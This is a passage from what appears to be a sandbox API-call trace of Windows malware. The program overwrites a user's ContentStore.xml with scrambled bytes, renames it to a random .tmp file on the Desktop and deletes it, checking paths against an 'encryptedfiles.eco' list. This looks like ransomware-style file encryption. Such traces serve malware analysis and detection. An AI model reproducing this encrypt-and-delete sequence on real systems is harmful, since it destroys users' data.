lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.629] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x18e878, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2c4 [0120.629] GetFileType (hFile=0x2c4) returned 0x1 [0120.629] IMalloc:Alloc (This=0x767666bc, cb=0x9f) returned 0x145ef30 [0120.629] FlushFileBuffers (hFile=0x2) returned 0 [0120.629] IMalloc:Alloc (This=0x767666bc, cb=0x152) returned 0x1466360 [0120.629] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Ÿý‹Ý+gô+_\x1cñˆ×aj+‰6Ú“Æ•ŠíÝ\x1f}êÀªÓÚ‰\x1bô;\x12µPcGªY±\x0e¬¹W\r\x016©È\x1fXQpËCß…HùÕ^\nD~ß×$\x1cæÌNËqÈj¡Þ‡þgÍ+=£W¼<ë?}ëÒù¤©²w\x1a\x9dTµƒhbtµ´³’ í*e>%5x­Dª¥!´:`\x13¾$\\WqÆ\x09ýš¸(M¿~IÓ\x04D‘o^Φ¹k\x0fŽq\x05ïDÚH^²\x09^Ag", cchWideChar=169, lpMultiByteStr=0x1466360, cbMultiByte=338, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x9fý\x8bÝ+gô+_\x1cñ\x88×aj+\x896Ú\x93Æ\x95\x8aíÝ\x1f}êÀªÓÚ\x89\x1bô;\x12µPcGªY±\x0e¬¹W\r\x016©È\x1fXQpËC߅HùÕ^\nD~ß×$\x1cæÌNËqÈj¡Þ\x87þgÍ+=£W¼<ë?}ëÒù¤©²w\x1a\x9dTµ\x83hbtµ´³\x92 í*e>%5x­Dª¥!´:`\x13¾$\\WqÆ\x09ý\x9a¸(M¿~IÓ\x04D\x91o^Φ¹k\x0f\x8eq\x05ïDÚH^²\x09^Ag", lpUsedDefaultChar=0x0) returned 169 [0120.629] WriteFile (in: hFile=0x2c4, lpBuffer=0x1466360*, nNumberOfBytesToWrite=0xa9, lpNumberOfBytesWritten=0x18e510, lpOverlapped=0x0 | out: lpBuffer=0x1466360*, lpNumberOfBytesWritten=0x18e510*=0xa9, lpOverlapped=0x0) returned 1 [0120.629] IMalloc:Free (This=0x767666bc, pv=0x1466360) [0120.629] FlushFileBuffers (hFile=0x2) returned 0 [0120.630] PeekMessageA (in: lpMsg=0x18e98c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18e98c) returned 0 [0120.630] GetTickCount () returned 0x1150d5a [0120.630] GetTickCount () returned 0x1150d5a [0120.630] GetTickCount () returned 0x1150d5a [0120.630] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.630] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.630] GetTickCount () returned 0x1150d5a [0120.630] IsWindowVisible (hWnd=0x30268) returned 0 [0120.630] Sleep (dwMilliseconds=0x0) [0120.630] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.630] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.631] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.632] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.633] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.634] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.635] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.636] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] VarCat (in: pvarLeft=0x18e9bc, pvarRight=0x18e9fc, pvarResult=0x18e9ec | out: pvarResult=0x18e9ec) returned 0x0 [0120.637] GetFullPathNameA (in: lpFileName="LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", nBufferLength=0x104, lpBuffer=0x18e944, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", lpFilePart=0x18e708*="LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp") returned 0x8d [0120.637] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", cchWideChar=-1, lpMultiByteStr=0x18e710, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpUsedDefaultChar=0x0) returned 99 [0120.638] GetFullPathNameA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", nBufferLength=0x104, lpBuffer=0x18e83c, lpFilePart=0x18e708 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpFilePart=0x18e708*="ContentStore.xml") returned 0x62 [0120.638] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.638] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lyo8naigy_vwh95k_k3763ubj8xvhs vtcseh0pp--zr4mbx0vb6tbwvue6rcaur6wsfsojzlxbcspyabedujpggzur-ef4hv6q.tmp")) returned 1 [0120.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", cchWideChar=-1, lpMultiByteStr=0x18e6ec, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", lpUsedDefaultChar=0x0) returned 104 [0120.644] GetFullPathNameA (in: lpFileName="LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", nBufferLength=0x104, lpBuffer=0x18e81c, lpFilePart=0x18e6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", lpFilePart=0x18e6e4*="LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp") returned 0x8d [0120.644] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4bb4c1b0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4bb4c1b0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x6a43470, ftLastWriteTime.dwHighDateTime=0x1d6080d, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x18e784, dwReserved1=0x1a6c8, cFileName="LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", cAlternateFileName="LYO8NA~1.TMP")) returned 0x143ce48 [0120.644] FileTimeToLocalFileTime (in: lpFileTime=0x18e6c8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0120.644] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0120.644] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d0, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0120.644] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0120.644] FileTimeToLocalFileTime (in: lpFileTime=0x18e6d8, lpLocalFileTime=0x18e698 | out: lpLocalFileTime=0x18e698) returned 1 [0120.644] FileTimeToSystemTime (in: lpFileTime=0x18e698, lpSystemTime=0x18e6a0 | out: lpSystemTime=0x18e6a0) returned 1 [0120.644] lstrcmpiA (lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp", lpString2="C:\\ProgramData\\encryptedfiles.eco") returned 1 [0120.644] DeleteFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LyO8NaIgy_VWh95k_k3763Ubj8XvHs VtCSEH0PP--zR4MBx0vB6TBwvuE6RCAur6WsfSOJzLxbCSpYAbEdujPgGZuR-ef4hv6Q.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lyo8naigy_vwh95k_k3763ubj8xvhs vtcseh0pp--zr4mbx0vb6tbwvue6rcaur6wsfsojzlxbcspyabedujpggzur-ef4hv6q.tmp")) returned 1 [0120.646] FindNextFileA (in: hFindFile=0x143ce48, lpFindFileData=0x18e6c4 | out: lpFindFileData=0x18e6c4*(dwFileAttributes=0x101, ftCreationTime.dwLowDateTime=0xc1, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x3, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xc1, nFileSizeHigh=0x81, nFileSizeLow=0x0, dwReserved0=0xfb003ac1, dwReserved1=0x41, cFileName="", cAlternateFileName="")) returned 0 [0120.646] GetLastError () returned 0x12 [0120.646] GetLastError () returned 0x12 [0120.646] SetLastError (dwErrCode=0x12) [0120.646] FindClose (in: hFindFile=0x143ce48 | out: hFindFile=0x143ce48) returned 1 [0120.647] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.647] GetTickCount () returned 0x1150d69 [0120.647] GetTickCount () returned 0x1150d69 [0120.647] GetTickCount () returned 0x1150d69 [0120.647] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.647] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.647] GetTickCount () returned 0x1150d69 [0120.647] IsWindowVisible (hWnd=0x30268) returned 0 [0120.647] Sleep (dwMilliseconds=0x0) [0120.648] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.648] GetTickCount () returned 0x1150d69 [0120.648] GetTickCount () returned 0x1150d69 [0120.648] GetTickCount () returned 0x1150d69 [0120.648] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ec0 | out: hHeap=0x3820000) returned 1 [0120.649] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3831c18 | out: hHeap=0x3820000) returned 1 [0120.649] GetTickCount () returned 0x1150d69 [0120.649] IsWindowVisible (hWnd=0x30268) returned 0 [0120.649] Sleep (dwMilliseconds=0x0) [0120.651] PeekMessageA (in: lpMsg=0x18eaac, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18eaac) returned 0 [0120.651] GetTickCount () returned 0x1150d69 [0120.651] GetTickCount () returned 